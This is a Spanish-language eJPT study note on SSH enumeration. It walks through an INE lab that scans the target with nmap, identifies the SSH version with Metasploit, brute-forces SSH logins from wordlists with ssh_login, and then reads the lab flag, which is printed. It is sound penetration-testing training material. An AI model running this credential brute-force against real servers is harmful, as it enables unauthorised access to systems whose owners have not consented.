> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/metodologias-de-evaluacion/enumeracion/enumeracion-de-servicios/enumeracion-de-ssh.md).

# Enumeración de SSH

**SSH (Secure Shell)** es un protocolo de administración remota que permite el acceso seguro y cifrado a sistemas y servidores. Es el sucesor directo de Telnet y se ha convertido en el estándar de facto para la gestión remota de sistemas en entornos Linux y Unix.

***

## 📌 Puertos y Configuración

* **Puerto por defecto:** TCP **22**
* **Personalización:** El administrador puede configurar SSH para utilizar otro puerto TCP, lo que añade una capa de "security through obscurity".

Durante una fase de reconocimiento, es crucial identificar si el puerto ha sido cambiado mediante escaneos con Nmap u otras herramientas.

***

## 🎯 ¿Por qué enumerar SSH?

El objetivo principal de la enumeración de SSH es:

* **Identificar la versión del servidor SSH**, que puede revelar vulnerabilidades conocidas.
* **Detectar configuraciones inseguras.**
* **Realizar ataques de fuerza bruta** para obtener acceso remoto con credenciales válidas.
* Verificar acceso anónimo o por claves mal gestionadas.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/onfdNuygAWZkBOas7Ov7" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/7ZJsBh2858y6BWOfINqw" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Ejecute un escaneo de Nmap contra el objetivo:

**Dominio:**

```
nmap -sS -sV demo.ine.local
```

<figure><img src="/files/mTYoPJYf3jrCJSwPAvLN" alt=""><figcaption></figcaption></figure>

**Paso 4:** Hemos detectado que el servicio SSH se está ejecutando en la máquina de destino. Utilizaremos los módulos auxiliares proporcionados para el destino.

**Comandos:**

```
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS demo.ine.local
exploit
```

<figure><img src="/files/5i2OLJcx3XDG1CaH74kv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2DlTXmUFq1YPhOhPBL7L" alt=""><figcaption></figcaption></figure>

Ahora usaremos el módulo ssh\_login para encontrar las credenciales válidas para acceder al servidor ssh.

**Comandos:**

```
use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt
set STOP_ON_SUCCESS true
set VERBOSE true
exploit
```

<figure><img src="/files/403qkncU0RyyahCnW4fK" alt=""><figcaption></figcaption></figure>

**Paso 5:** Encuentra la bandera.

**Comandos:**

```
sessions
sessions -i 1
find / -name "flag"
cat /flag
```

<figure><img src="/files/uDk9o1n8tEPYCR0rGTu8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jPsE1FyR0Qc54e6pSS7p" alt=""><figcaption></figcaption></figure>

Esto nos revela la bandera.

**Bandera:** eb09cc6f1cd72756da145892892fbf5a

#### Conclusión

En este laboratorio, exploramos un par de módulos de metasploit relacionados con SSH y los ejecutamos contra el objetivo.
